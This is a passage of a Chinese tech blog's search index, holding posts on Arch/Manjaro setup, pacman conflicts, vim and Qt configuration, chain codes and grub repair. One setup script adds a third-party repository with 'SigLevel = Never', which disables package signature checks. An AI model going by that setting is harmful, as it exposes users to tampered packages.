的安装方式可能存在问题，我又用源码安装了一边，问题依旧…. 然后本来打算睡觉了。。。 突然梦到。。。也许是arch的问题呢。。。 一搜果然是。。。MGJ。。。这bug出现的时间。。。貌似是2017年5月30号以后。。。（具体参照最后一个资料的日期。。。 而且这。。。谁能想到是arch的锅啊。。。更别说是这么新鲜的bug… 所以说arch是不是不适合跑深度学习，做科学计算之类的啊orz…. 最后说下解决办法： 1:: gcc-libs 与 gcc-libs-multilib 有冲突。删除 gcc-libs-multilib 吗？ [y/N] y 2错误：无法准备事务处理 (无法满足依赖关系) 3:: gcc-multilib：移除 gcc-libs-multilib 将破坏依赖关系 'gcc-libs-multilib=6.3.1-2' 4(tensorflow) [coder@111qqz-pc github]$ sudo pacman -S gcc-libs --force 5正在解决依赖关系... 6正在查找软件包冲突... 7:: gcc-libs 与 gcc-libs-multilib 有冲突。删除 gcc-libs-multilib 吗？ [y/N] y 8错误：无法准备事务处理 (无法满足依赖关系) 9:: gcc-multilib：移除 gcc-libs-multilib 将破坏依赖关系 'gcc-libs-multilib=6.3.1-2' 10(tensorflow) [coder@111qqz-pc github]$ sudo pacman -Qs gcc 11local/gcc-libs-multilib 6.3.1-2 12 Runtime libraries shipped by GCC for multilib 13local/gcc-multilib 6.3.1-2 (multilib-devel) 14 The GNU Compiler Collection - C and C++ frontends for multilib 15local/lib32-gcc-libs 6.3.1-2 16 Runtime libraries shipped by GCC (32-bit) 17(tensorflow) [coder@111qqz-pc github]$ sudo pacman -Rcusn gcc-multilib 18正在检查依赖关系... 19 20软件包 (2) libmpc-1.0.3-2 gcc-multilib-6.3.1-2 21 22全部移去体积： 119.35 MiB 23 24:: 打算删除这些软件包吗？ [Y/n] y 25:: 正在运行事务前钩子函数... 26(1/1) Removing old entries from the info directory file... 27:: 正在处理软件包的变化... 28(1/2) 正在删除 gcc-multilib [###############################################################","date":"2017-06-09","externalUrl":null,"permalink":"/2017/06/libgfortran-so-4-missing-under-archlinux/","section":"Posts","summary":"。。。哭了哦。。终于解决了这个bug 参考资料： libgfortran broken? libgfortran=3.0 should not be install with numpy \u003c= 1.9","tags":["manjaro","python"],"title":"libgfortran.so.4 missing under archlinux","type":"post"},{"categories":["其他"],"content":"20180214 update: 第一个版本已经比较久了，于是更新一下，顺便写了个脚本orz 1 2 pacman-mirrors -c China 3 echo \" [archlinuxcn] \" \u003e\u003e /etc/pacman.conf 4 echo \" SigLevel = Optional TrustedOnly \" \u003e\u003e /etc/pacman.conf 5 echo \" Server = https://mirrors.ustc.edu.cn/archlinuxcn/\\$arch\" \u003e\u003e /etc/pacman.conf 6 7 8 echo \"[arch4edu]\" \u003e\u003e /etc/pacman.conf 9 echo \"SigLevel = Never\" \u003e\u003e /etc/pacman.conf 10 echo \"Server = http://mirrors.tuna.tsinghua.edu.cn/arch4edu/\\$arch \" \u003e\u003e /etc/pacman.conf 11 pacman -Syyu 12 pacman -S archlinuxcn-keyring 13 14 pacman -S yakuake fish gvim 15 pacman -S google-chrome chromium 16 pacman -S wget aria2 remarkable netease-cloud-music 17 pacman -S fcitx fcitx-configtool fcitx-sogoupinyin fcitx-im kcm-fcitx 18 pacman -S shadowsocks-qt5 19 pacman -S wqy-microhei wqy-microhei-lite wqy-bitmapfont wqy-zenhei ttf-arphic-ukai ttf-arphic-uming adobe-source-han-sans-cn-fonts 20 21 cat \u003e\u003e ~/.xprofile \u003c\u003cEOF 22 export GTK_IM_MODULE=fcitx 23 export QT_IM_MODULE=fcitx 24 export XMODIFIERS=\"@im=fcitx\" 25 EOF 26 出于目前对manjaro的依赖，以及没有找到很简单易行的备份系统的方案的原因，决定详细记录一下系统安装的过程，以防哪天系统挂掉了，可以快速恢复。 1.关于更换源 # 坑点主要在系统默认的源是国外源，如何切换成中国源，网上有很多教程，但这些教程都是针对Arch的，弄来弄去也很不容易搞好，而且胡乱修改会把Manjaro的源破坏掉（不要问我怎么知道的）。 其实网上有个blog的方法很方便，附上连接 就两行命令搞定： 1 2 sudo pacman-mirrors -c China //选择中国源并更新 3 sudo pacman -Syyu //更新系统 2.安装搜狗输入法 具体为，安装fcitx,安装fcitx-sogoupinyin,安装kcm-fcitx 然后 ~/.xprofile 文件中添加如下内容 1 2 3 4 export GTK_IM_MODULE=fcitx 5 export QT_IM_MODULE=fcitx 6 export XMODIFIERS=\"@im=fcitx\" 由于初始安装系统时选择的是英文，在安装搜狗输入法之前先安装了chrome，导致在chrome中无法输入中文（而在firefox中可以），解决办法时，删除掉.config中google-chrome文件夹即可 3 添加archlinuxcn源 在 /etc/pacman.conf 文件末尾添加以下两行： 1[archlinuxcn] 2SigLevel = Optional TrustedOnly 3Server = https://mirrors.ustc.edu.cn/archlinuxcn/$arch 之后安装 archlinuxcn-keyring 包以导入 GPG key。 4 添加arch4edu源 在/etc/pacman.conf 文件末尾添加 1[arch4edu] 2SigLeve","date":"2017-06-08","externalUrl":null,"permalink":"/2017/06/manjaro-installation-guide/","section":"Posts","summary":"20180214 update: 第一个版本已经比较久了，于是更新一下，顺便写了个脚本orz","tags":["manjaro"],"title":"manjaro installation guide","type":"post"},{"categories":["其他"],"content":"conda update anaconda　后提示 1ValueError: unsupported format character ')' (0x29) at index 49 查到了这个：anaconda update issue I have narrowed this down to the following packages: package build psutil-1.2.1 py27_0 hard-link pycparser-2.10 py27_0 hard-link pykit-0.1.0 np18py27_2 hard-link pyparsing-2.0.1 py27_0 hard-link by calling \"conda install anaconda\" and then successfully installing everything else one at a time. These four packages consistently exhibit the described behaviour. (note: pykit depends on pycparser so may itself be ok - can't tell) 我先把psutil卸载掉，重新update了一下，成功。 1conda remove psutil","date":"2017-06-08","externalUrl":null,"permalink":"/2017/06/how-to-fix-conda-upgrade-valueerror/","section":"Posts","summary":"conda update anaconda　后提示 1ValueError: unsupported format character ')' (0x29) at index 49 查到了这个：anaconda update issue I have narrowed this down to the following packages: package build psutil-1.2.1 py27_0 hard-link pycparser-2.10 py27_0 hard-link pykit-0.1.0 np18py27_2 hard-link pyparsing-2.0.1 py27_0 hard-link by calling \"conda install anaconda\" and then successfully installing everything else one at a time. These four packages consistently exhibit the described behaviour. (note: pykit depends on pycparser so may itself be ok - can't tell) 我先把psutil卸载掉，重新update了一下，成功。","tags":["anaconda","python"],"title":"conda升级anaconda　ValueError的解决办法","type":"post"},{"categories":["其他"],"content":"…先随便记录一下好了。。。 * 神经网络识别数字或者字母？ * 识别车牌号？ * not hot dog? 安装python pandas pandas 发现之前装caffe的时候…装了这个东西。。。 但是就是检测不到？于是卸载重装。。。。 需要注意的是，如果是python2,要用pip2 install pandas,如果是python3,要用pip3 install pandas. 安装tensorflow…直接sudo pacman -Syu python-tensorflow 即可。。。 然后装好之后检测不到orz…感觉还是pip的安装方式比较靠谱。。。 pip2 install tensorflow tensorflow_pip安装 我的环境是python2.7 1# Ubuntu/Linux 64-bit, CPU only, Python 2.7 2$ export TF_BINARY_URL=https://storage.googleapis.com/tensorflow/linux/cpu/tensorflow-0.10.0-cp27-none-linux_x86_64.whl 3 4sudo pip install --upgrade $TF_BINARY_URL 安装成功。。然后发现。。numpy挂了（？？？？？ SO上给出的建议 感觉之后还会各种遇到不同python版本导致的问题。。。。那就上anaconda好了。。。 试了anaconda…想法挺好。。但是貌似还不成熟.。。比如用anaconda安装numpy会报错orz.. 最后解决办法是。。。卸载了python-numpy以及所有依赖python-numpy的a包；卸载了python2-numpy以及所有a依赖python２-numpy的包 然后重新安装了python2-numpy 以及发现。。。还有些坑是shellaa相关的.。。y所以暂时不要用fish了。。。 然后提示Missing required dependencies [‘dateutil’] 解决办法是安装python2-datautil 以及各种pip安装。。都记得要pip2而不是pip 中间缺少一堆库。。。大部分直接安装就好了。。。记得要安装python2对应的版本。。。 然后对于ImportError: No module named tensorboard.plugins 解决办法　是将tensorflow升级到1.0以上（安装之后的版本默认为0.1) sudo proxychains4 pip2 install tensorflow –upgrade","date":"2017-06-07","externalUrl":null,"permalink":"/2017/06/digital-image-processing-course-final-project/","section":"Posts","summary":"…先随便记录一下好了。。。 * 神经网络识别数字或者字母？ * 识别车牌号？ * not hot dog? 安装python pandas pandas","tags":["python","数字图像处理"],"title":"数字图像处理大作业(初步）","type":"post"},{"categories":["其他"],"content":"由于最近要做数字图像处理的大作业，以及之后一段时间，估计写python多一些，所以打算花些时间配置下vim. # 1. 一键执行 # 其实之前一直有的。。不过没有效果，就没有管。发现问题是，python对应的filetype为\"python\"，而不是\"py\" # 1func! CompileRunGcc() 2 exec \"w\" 3 if \u0026filetype == 'c' 4 exec \"!g++ % -o %\u003c\" 5 exec \"! ./%\u003c\" 6 elseif \u0026filetype == 'cpp' 7 exec \"!g++ % -std=gnu++11 -Wall -o %\u003c\" 8 exec \"! ./%\u003c\" 9 elseif \u0026filetype == 'java' 10 exec \"!javac %\" 11 exec \"!java %\u003c\" 12 elseif \u0026filetype == 'sh' 13 :!./% 14 elseif \u0026filetype == 'python' 15 \" exec \"!python %\" 16 \" exec \"!python %\u003c\" 17 exec \"!python2.7 %\" 18 endif 19endfunc 2.代码补全 # 不想折腾了。。既然ycm也支持python,就先用用看好了。。不行再换别的。 # 放一段ycm　for python的配置文件 # 1\"默认配置文件路径\" 2let g:ycm_global_ycm_extra_conf = '~/.ycm_extra_conf.py' 3\"打开vim时不再询问是否加载ycm_extra_conf.py配置\" 4let g:ycm_confirm_extra_conf=0 5set completeopt=longest,menu 6\"python解释器路径\" 7let g:ycm_path_to_python_interpreter='/usr/bin/python' 8\"是否开启语义补全\" 9let g:ycm_seed_identifiers_with_syntax=1 10\"是否在注释中也开启补全\" 11let g:ycm_complete_in_comments=1 12let g:ycm_collect_identifiers_from_comments_and_strings = 0 13\"开始补全的字符数\" 14let g:ycm_min_num_of_chars_for_completion=2 15\"补全后自动关机预览窗口\" 16let g:ycm_autoclose_preview_window_after_completion=1 17\" 禁止缓存匹配项,每次都重新生成匹配项\" 18let g:ycm_cache_omnifunc=0 19\"字符串中也开启补全\" 20let g:ycm_complete_in_strings = 1 3. 语法检查 # Syntastic大家都知道了。。。。看到了异步检测插件ALE，打算试一下。 # ale_github # 需要注意的是，这个插件需要vim 8.0+的特性。。。 # 放一波配置文件 # 1\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"for ale begin \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" 2let g:ale_sign_column_always = 1 \"保持侧边栏可见： 3 4let g:ale_sign_error = '\u003e\u003e' \"改变错误和警告标识符 5let g:ale_sign_warning = '--' 6let g:ale_statusline_format = ['⨉ %d', '⚠ %d', '⬥ ok'] \"改变状态栏信息格式 7 8\"自定义跳转错误行快捷键： 9nmap \u003csilent\u003e \u003cC-k\u003e \u003cPlug\u003e(ale_previous_wrap) 10nmap \u003csilent\u003e \u003cC-j\u003e \u003cPlug\u003e(ale_next_wrap) 11\"消除某excption not caught的警告 12let g:ale_emit_conflict_warnings = 0 4. 编程提示(jedi-vim) # 据说是vim写python的神","date":"2017-06-07","externalUrl":null,"permalink":"/2017/06/vimrc-for-python/","section":"Posts","summary":"由于最近要做数字图像处理的大作业，以及之后一段时间，估计写python多一些，所以打算花些时间配置下vim. # 1. 一键执行 # 其实之前一直有的。。不过没有效果，就没有管。发现问题是，python对应的filetype为\"python\"，而不是\"py\" # 1func! CompileRunGcc() 2 exec \"w\" 3 if \u0026filetype == 'c' 4 exec \"!g++ % -o %\u003c\" 5 exec \"! ./%\u003c\" 6 elseif \u0026filetype == 'cpp' 7 exec \"!g++ % -std=gnu++11 -Wall -o %\u003c\" 8 exec \"! ./%\u003c\" 9 elseif \u0026filetype == 'java' 10 exec \"!javac %\" 11 exec \"!java %\u003c\" 12 elseif \u0026filetype == 'sh' 13 :!./% 14 elseif \u0026filetype == 'python' 15 \" exec \"!python %\" 16 \" exec \"!python %\u003c\" 17 exec \"!python2.7 %\" 18 endif 19endfunc 2.代码补全 # 不想折腾了。。既然ycm也支持python,就先用用看好了。。不行再换别的。 # 放一段ycm　for python的配置文件 # 1\"默认配置文件路径\" 2let g:ycm_global_ycm_extra_conf = '~/.ycm_extra_conf.py' 3\"打开vim时不再询问是否加载ycm_extra_conf.py配置\" 4let g:ycm_confirm_extra_conf=0 5set completeopt=longest,menu 6\"python解释器路径\" 7let g:ycm_path_to_python_interpreter='/usr/bin/python' 8\"是否开启语义补全\" 9let g:ycm_seed_identifiers_with_syntax=1 10\"是否在注释中也开启补全\" 11let g:ycm_complete_in_comments=1 12let g:ycm_collect_identifiers_from_comments_and_strings = 0 13\"开始补全的字符数\" 14let g:ycm_min_num_of_chars_for_completion=2 15\"补全后自动关机预览窗口\" 16let g:ycm_autoclose_preview_window_after_completion=1 17\" 禁止缓存匹配项,每次都重新生成匹配项\" 18let g:ycm_cache_omnifunc=0 19\"字符串中也开启补全\" 20let g:ycm_complete_in_strings = 1 3. 语法检查 # Syntastic大家都知道了。。。。看到了异步检测插件ALE，打算试一下。 # ale_github # 需要注意的是，这个插件需要vim 8.0+的特性。。。 # 放一波配置文件 # 1\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"for ale begin \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" 2let g:ale_sign_column_always = 1 \"保持侧边栏可见： 3 4let g:ale_sign_error = '\u003e\u003e' \"改变错误和警告标识符 5let g:ale_sign_warning = '--' 6let g:ale_statusline_format = ['⨉ %d', '⚠ %d', '⬥ ok'] \"改变状态栏信息格式 7 8\"自定义跳转错误行快捷键： 9nmap \u003csilent\u003e \u003cC-k\u003e \u003cPlug\u003e(ale_previous_wrap) 10nmap \u003csilent\u003e \u003cC-j\u003e \u003cPlug\u003e(ale_next_wrap) 11\"消除某excption not caught的警告 12let g:ale_emit_conflict_warnings = 0 4. 编程提示(jedi-vim) # 据说是vim写python的神器。。。装来看看。。。 # 据说默认配置就够了，先不折腾了 # # #","tags":["python","vim"],"title":"vim下python 的配置","type":"post"},{"categories":["其他"],"content":"好久没装新插件了，最新要配下python,发现安装时候满屏的错误。。。 # 最后发现是shell的锅，因为我用的是fish,在.vimrc文件中添加 # 1set shell=/bin/bash 即可。 # 以及说下可能的其他原因，虽然我没遇到 # * 对于arch系，可能从aur中安装的版本out ot data * 可能没有把.vimrc中vundle的配置从set rtp+=~/.vim/bundle/vundle更新成set rtp+=~/.vim/bundle/vundle.vim * 可能项目名称用了\" 而不是' 以及顺手查了下bundle和Plugin的区别。。。 # 简单来说。。Plugin是新写法，bundle是正在被淘汰的写法，不过由于兼容性的原因，仍然在使用。。。 # 以后使用plugin的写法就好。 # 参考资料","date":"2017-06-07","externalUrl":null,"permalink":"/2017/06/vundle-error-detected-while-processing-function/","section":"Posts","summary":"好久没装新插件了，最新要配下python,发现安装时候满屏的错误。。。 # 最后发现是shell的锅，因为我用的是fish,在.vimrc文件中添加 # 1set shell=/bin/bash 即可。 # 以及说下可能的其他原因，虽然我没遇到 # * 对于arch系，可能从aur中安装的版本out ot data * 可能没有把.vimrc中vundle的配置从set rtp+=~/.vim/bundle/vundle更新成set rtp+=~/.vim/bundle/vundle.vim * 可能项目名称用了\" 而不是' 以及顺手查了下bundle和Plugin的区别。。。 # 简单来说。。Plugin是新写法，bundle是正在被淘汰的写法，不过由于兼容性的原因，仍然在使用。。。 # 以后使用plugin的写法就好。 # 参考资料","tags":["fish","vim","vundle"],"title":"vundle error detected while processing function","type":"post"},{"categories":["其他"],"content":"复习一下数字图像处理。 # # # # 按照我自己的理解简单来说： # 原链码：按照任意起点走边界一周，方向按照上图对应的表示，得到的数字序列就是原链码。 # 归一化链码：为了解决原链码中起点不唯一而产生的序列不唯一的问题，规定，对于所有起点得到的原链码中，字典序最小的即为归一化链码（由于序列都是自然数，因此字典序最小也可以理解成，把该序列看成有前导０的自然数之后的数值之后的数值最小。 # 差分码：为了解决图形旋转之后，原链码和归一化链码都会发生变化，引入差分码。n 位原链码（或归一化链码，由于归一化链码只是一种特殊的原链码，之后不再单独强调）可以得到 n-1 位差分码。具体来说，对于原链码 a[i]（i 属于 1..n），可以得到差分码 b[i]，b[i] = ((a[i+1] - a[i]) + mod) % mod（i 属于 1..n-1），mod 根据实际有几个方向决定，通常为 4 或者 8。 # 形状数：需要强调的是，形状数也是一个序列，而不是一个数。其实形状数就是把差分码按照字典序排序之后，最小的序列。形状数的阶数是该序列的长度。 # Freeman链码（弗雷曼链码）是指用曲线起始点的坐标和边界点方向代码来描述曲线或边界的方法，常被用来在图像处理、计算机图形学、模式识别等领域中表示曲线和区域边界。它是一种边界的编码表示法，用边界方向作为编码依据，为简化边界的描述，一般描述的是边界点集。 常用的链码按照中心像素点邻接方向个数的不同，分为4连通链码和8连通链码。4连通链码的邻接点有4个，分别在中心点的上、下、左和右。8连通链码比4连通链码增加了4个斜方向，因为任意一个像素周围均有8个邻接点，而8连通链码正好与像素点的实际情况相符，能够准确地描述中心像素点与其邻接点的信息。因此，8连通链码的使用相对较多。 (a)四方向链码的方向符； （b）八方向链码的方向符。 八链码如下： 链码的定义 按照水平、垂直和两条对角线方向，可以为相邻的两个像素点定义4个方向符：0、1、2、3，分别表示0°、90°、180°和270°四个方向。同样，也可以定义8个方向符：0、1、2、3、4、5、6、7。链码就是用线段的起点加上由这几个方向符所构成的一组数列，通常称之为Freeman链码。用Freeman链码表示曲线时需要曲线的起点，对8链码而言，奇数码和偶数码的对应线段长度不等，规定偶数码单位长度为1，奇数码的单位长度为1.414。 2. 曲线的链码表示 （1）原链码 从边界（曲线）起点S开始，按顺时针方向观察每一线段走向，并用相应的指向符表示，结果就形成表示该边界（曲线）的数码序列，称为原链码，表示为 其中，S表示边界（曲线）的起点坐标，N=4或8时分别表示四链码和八链码。当边界（曲线）闭合时，会回到起点，S可省略。 （2）归一化链码 原链码具有平移不变性（平移时不改变指向符），但当改变起点S时，会得到不同的链码表示，即不具备唯一性。为此可引入归一化链码，其方法是： 对于闭合边界，任选一起点S得到原链码，将链码看作由各方向数构成的n位自然数，将该码按一个方向循环，使其构成的n位自然数最小，此时就形成起点唯一的链码，称为归一化链码，也称为规格化链码。我们将这样转换后所对应的链码起点作为这个边界的归—化链码的起点。 （3）链码的旋转归一化 用链码表示给定目标的边界时，如果目标平移，链码不会发生变化。 但是，如果目标旋转则链码会发生变化。为了得到具有旋转不变性的链码，我们可定义所谓的差分码。链码对应的差分码定义为： 对差分码进行（起点）归一化，就可得到归一化（唯一）的差分码，它具有平移和旋转不变性，也具有唯一性。 3. 边界的形状数表示 由于归一化的差分码既具有唯一性，也具有目标物平移和旋转不变性，因此可用来表示边界，称为形状数。形状数序列的长度(位数)称为形状数的阶,它可作为闭合边界的周长。 如上图所示的目标边界，其 原链码为：42120606454 ， 差分码为 ： 6716626617 ， 形状数: 1662661767 ， 形状数的阶为10 。 # 参考资料： 图像形状特征（三）–链码及形状数 中南大学_第7章 目标表达和描述技术 #","date":"2017-06-06","externalUrl":null,"permalink":"/2017/06/digital-image-processing-course-review/","section":"Posts","summary":"复习一下数字图像处理。 # # # # 按照我自己的理解简单来说： # 原链码：按照任意起点走边界一周，方向按照上图对应的表示，得到的数字序列就是原链码。 # 归一化链码：为了解决原链码中起点不唯一而产生的序列不唯一的问题，规定，对于所有起点得到的原链码中，字典序最小的即为归一化链码（由于序列都是自然数，因此字典序最小也可以理解成，把该序列看成有前导０的自然数之后的数值之后的数值最小。 # 差分码：为了解决图形旋转之后，原链码和归一化链码都会发生变化，引入差分码。n 位原链码（或归一化链码，由于归一化链码只是一种特殊的原链码，之后不再单独强调）可以得到 n-1 位差分码。具体来说，对于原链码 a[i]（i 属于 1..n），可以得到差分码 b[i]，b[i] = ((a[i+1] - a[i]) + mod) % mod（i 属于 1..n-1），mod 根据实际有几个方向决定，通常为 4 或者 8。 # 形状数：需要强调的是，形状数也是一个序列，而不是一个数。其实形状数就是把差分码按照字典序排序之后，最小的序列。形状数的阶数是该序列的长度。 # Freeman链码（弗雷曼链码）是指用曲线起始点的坐标和边界点方向代码来描述曲线或边界的方法，常被用来在图像处理、计算机图形学、模式识别等领域中表示曲线和区域边界。它是一种边界的编码表示法，用边界方向作为编码依据，为简化边界的描述，一般描述的是边界点集。","tags":["数字图像处理"],"title":"边界的链码，归一化链码，差分玛，形状数","type":"post"},{"categories":["其他"],"content":"qt_5.9_ui_doc 还是比直接写代码方便点。。。所以不妨学习一个！ 以及。。。qt在2017年6月１号发布了5.9。。。所以之前是5.8。。。现在变成5.9了。。。 遇到了修改了ui文件却没有生效的问题。。。 解决办法： 到项目目录下去执行：uic mainwindow.ui \u003e ui_mainwindow.h 时间测试的qt方法。。。 1头文件#include \u003cQTime\u003e 2 3 4 5QTime time; 6 7time.start(); 8 9// do something 10 11 qDebug()\u003c\u003ctime.elapsed()\u003c\u003c\"ms\"; 12 13 14 15（注意单位。。。","date":"2017-06-04","externalUrl":null,"permalink":"/2017/06/qt-5-notes-5/","section":"Posts","summary":"qt_5.9_ui_doc 还是比直接写代码方便点。。。所以不妨学习一个！ 以及。。。qt在2017年6月１号发布了5.9。。。所以之前是5.8。。。现在变成5.9了。。。","tags":["qt","c++"],"title":"qt 5.x　初探　(5)　","type":"post"},{"categories":["其他"],"content":"des的基本搞定了。。。打包。。。 在linux下打包成exe。。。。实在是。。没什么好办法的样子。。。 嘛。转念一想。老师说是打包成可执行文件。。。没说一定是exe啊。。。 然后也许我就零分了呢2333 des1.0 好了。。我又跑到windows下装了个qt…安装包2.3G,记得要安装编译器… 装好以后。。。开始打包。。。 注意区分： Qt Widgets Application 和 Qt Quick Application 我的是后者。。。打包方式略有不同。。。 下面引用了详细步骤。。我来说下简略步骤好了。。。 * 将creator选到release的部署模式。。然后编译。。。 * 将exe文件单独拷贝出来，放到一个文件夹。。。 * **运行qt的命令行（不是系统的命令行！)** * **在qt的命令行中运行windeployqt helloqml.exe --qmldir C:\\Qt\\Qt5.4.0\\5.4\\mingw491_32\\qml（其中qmldir后面换为qml的真实路径）** 顺便吐槽这工具有点智障。。。文件夹选项不显示后缀名就找不到helloqml　也是有毒。。。 Qt 官方开发环境使用的动态链接库方式，在发布生成的exe程序时，需要复制一大堆 dll， 如果自己去复制dll，很可能丢三落四，导致exe在别的电脑里无法正常运行。 因此 Qt 官方开发环境里自带了一个工具：windeployqt.exe。 以官方 Qt 5.4.0+MinGW 开发环境为例， 从开始菜单–》Qt 5.4.0–》5.4–》MinGW 4.9 (32-bit)–》Qt 5.4 for Desktop (MinGW 4.9 32 bit)，可以打开 Qt 命令行，从这里就可以执行 windeployqt 工具。 集成开发环境 QtCreator 目前生成图形界面程序 exe 大致可以分为两类： Qt Widgets Application 和 Qt Quick Application。 下面分别介绍这两类exe 的发布方式。 1、Qt Widgets Application可执行程序发布方式 首先用 QtCreator 新建一个 Qt Widgets Application 项目，直接用默认的 QMainWindow 程序就可以了，项目名字假定是 hellomw。 然后以 Release 方式编译生成 exe 程序： 生成的程序运行正常之后，找到项目的生成目录，比如 项目源码路径： C:\\QtPros\\hellomw 它的项目生成目录是 C:\\QtPros\\build-hellomw-Desktop_Qt_5_4_0_MinGW_32bit-Release 进入这个文件夹，在进入它的子文件夹 release 里面，找到 hellomw.exe ， 将这个exe 复制到一个新的单独的文件夹里用于发布，比如存到 D:\\hellomw\\ 文件夹里面。 然后从开始菜单打开 Qt 命令行，输入命令 ： cd /d D:\\hellomw 然后使用 windeployqt 工具命令： windeployqt hellomw.exe 然后可以在 D:\\hellomw 文件夹里看到 windeployqt 工具自动复制的插件文件夹 和 dll文件、qm文件。这时候得到的就完整的 exe 程序发布集合，依赖关系都解决好了。 把 D:\\hellomw 文件夹 打包就可以发布了，不用自己一个个找 dll 文件了。 D:\\hellomw 文件夹里的qm文件是多国语言翻译文件，不需要可以删了， 其他的都保留。 2、Qt Quick Application发布方式 首先用 QtCreator 新建一个 Qt Quick Application 项目，直接用默认的项目模版，点击下一步生成项目，项目名字假定是 helloqml。 然后以 Release 方式编译生成 exe 程序： 然后找到项目的构建目录，比如项目源码目录 C:\\QtPros\\helloqml， 它的构建目录是： C:\\QtPros\\build-helloqml-Desktop_Qt_5_4_0_MinGW_32bit-Release 进入这个目录，再进入 release 子文件夹，找到 helloqml.","date":"2017-06-04","externalUrl":null,"permalink":"/2017/06/qt-5-notes-4/","section":"Posts","summary":"des的基本搞定了。。。打包。。。 在linux下打包成exe。。。。实在是。。没什么好办法的样子。。。","tags":["qt","c++"],"title":"qt 5.x初探　（４）　qt 在win下打包成exe","type":"post"},{"categories":["其他"],"content":"最近和妹子闹了一点小矛盾，不过已经problem solved. 大概是因为，我聊到了妹子很不喜欢的话题，导致妹子情绪变得负面而我还没意识到… 我是感觉…就像写代码一样，代码没有bug(初始时）是不太现实的，关键是要debug? 所以人际关系，更具体的说是和妹子相处….也不可能没有矛盾吧… 尤其是两个人成长环境如果相差得比较多的情况下…接触的时间越长，暴露的矛盾应该就越多… 一个好的coder会惧怕代码中有bug吗？当然不会… 所以矛盾似乎也没什么可怕的… 不过一个熟练的coder大概可能写出的bug会越来越少吧。 所以我觉得，找到一种合适的机制，去解决矛盾是非常必要的…. 这种机制不是说解决矛盾的方法本身，而是更通用的为解决矛盾提供的环境？ 另外，其实有矛盾也不是什么坏事….如果矛盾是客观存在的，大概越早暴露越好… 越早暴露应该越好解决吧orz 所以大概….下次遇到，至少是这一类的问题，我们应该能解决的更好了吧… 用coding的思维考虑恋爱关系想想其实也没有那么奇怪啊… 我一直觉得，每一对情侣之间都有他们自己相处的模式吧…. 所以其实使用这一类方法（不过不代表全部套用…就好像觉得某种语言的某个特性好不代表以后就只使用这种语言一样2333） 对于我们来说应该是种挺高效的模式吧。。。 其实这也可以归结成“见什么人说什么话”？ 就想起那次和室友们打《优势物种》…解释规则的时候，“资源的实例”的说法软院的学生都会明白而又不会显得冗杂.. 就好像某次和妹子去光谷浪，看到很多家烤串店纠结去哪一家的时候….“遍历一下”也比能想到的其他说法更加准确高效….","date":"2017-05-30","externalUrl":null,"permalink":"/2017/05/think-about-Love-relationship/","section":"Posts","summary":"最近和妹子闹了一点小矛盾，不过已经problem solved. 大概是因为，我聊到了妹子很不喜欢的话题，导致妹子情绪变得负面而我还没意识到…","tags":["算法竞赛"],"title":"关于恋爱模式的一点思考","type":"post"},{"categories":["其他"],"content":"我之前是单系统manjaro，装了win10以后，grub menu直接消失不见… ubuntu 的live cd进去，用神器boot-repair也没作用… 最后的解决办法是： 用随便一个什么linux的live cd,进入live模式 使用某种方法（fdisk?gparted?自己记得？）确认linux安装在哪个分区（如果有安装了多个，应该以最后一个为准）我的linux安装在了sda5 挂载linux分区: 1sudo mount /dev/sda5 /mnt #Replace sda5 with your partition number 4.挂载其他必要的文件夹 1for i in /sys /proc /run /dev; do sudo mount --bind \"$i\" \"/mnt$i\"; done 5:chroot进你的系统 1sudo chroot /mnt 6.重装并更新grub引导 1grub-install /dev/sda 2update-grub 3exit 4sudo reboot 完美解决！","date":"2017-05-28","externalUrl":null,"permalink":"/2017/05/missing-grub-after-install-windows10/","section":"Posts","summary":"我之前是单系统manjaro，装了win10以后，grub menu直接消失不见…","tags":["算法竞赛"],"title":"安装win10后导致grub 引导缺失的解决办法","type":"post"},{"categories":["其他"],"content":"实在不忍心x1c吃灰。。。 打算装个arch玩。。。 第一次失败了，原因是忘记配置引导相关… 第二次就成功了… 教程满大街都是就不再写了…. 似乎装好以后，和manjaro区别不大？ 有空来更新下配置吧。。。 （越来越觉得折腾linux的时间还不如用来陪妹子… 所以不一定什么时候会更了2333","date":"2017-05-21","externalUrl":null,"permalink":"/2017/05/install-archlinux-notes/","section":"Posts","summary":"实在不忍心x1c吃灰。。。 打算装个arch玩。。。 第一次失败了，原因是忘记配置引导相关…","tags":["算法竞赛"],"title":"archlinux安装记","type":"post"},{"categories":["其他"],"content":"update3： 终于知道了正确的学习姿势… 用百度把要用的东西大概描述出来，然后总能找到一个是你要的。。。 然后再去搜关键词。。。 嗯。。百度还是很有用的啊2333 qt5.8_doc_Line Edits Example 所以现在要把之前写成dialog的几个改回Line edit update2: 老师说要把输入框中的东西随时选中复制出来check… QLabel默认好像不具有这种属性啊？ 稍微查了下。。。 查到了一个叫setTextInteractionFlags的属性 以及连根拔出了。。 qt5.8 QGraphicsTextItem Class 找到了解决办法。。。 1 openFileNameLabel = new QLabel; 2 openFileNameLabel-\u003esetFrameStyle(frameStyle); 3 openFileNameLabel-\u003esetTextInteractionFlags(Qt::TextSelectableByMouse); 4 //添加可选中可复制的交互属性。。。 记得要 #include \u003cQGraphicsTextItem\u003e update1: 扶起。。。QFile读中文路径文件毫无问题。。。 换成了cpp的 ifstream就一直报错。。。 由于我还改了其他部分。。。所以。。。 查了好久才发现是ifstream的锅。。。。 把des放了进去。。。 本来加密和解密想就用一个函数用参数调节的。。。 不过看了半天也没太懂。。。这种connnet怎么写。。。 不过对connect的理解更深了一些。。。 信号和槽果然是qt的精髓。。。看起来还算不那么无聊。。。 放一些关于信号和槽的资料好了。。。 信号与槽机制 ibm_qt的信号与槽机制 qt的信号槽 然后目前的进度是。。。 des放了进去。。。加密基本没啥问题。。。 但是有个小问题。。。 对于加密过程。。。我是用了一个全局的QString QTextSt来传递信息。。。 对于打开文件。。。过程是file-\u003eQString 加密后得到密文文件。。过程是QString -\u003e file 但是解密过程。。。。完全反过来了啊。。。？ 在思考怎么写在一起能够不违和。。。。。","date":"2017-05-18","externalUrl":null,"permalink":"/2017/05/qt-5-notes-3/","section":"Posts","summary":"update3： 终于知道了正确的学习姿势… 用百度把要用的东西大概描述出来，然后总能找到一个是你要的。。。","tags":["qt","c++"],"title":"qt 5.x初探 （3）","type":"post"},{"categories":["其他"],"content":"# 感觉其实。。。更像是一种规范。。。？而不是一种具体要求吧。。。 转自 # 头文件(.h)： # 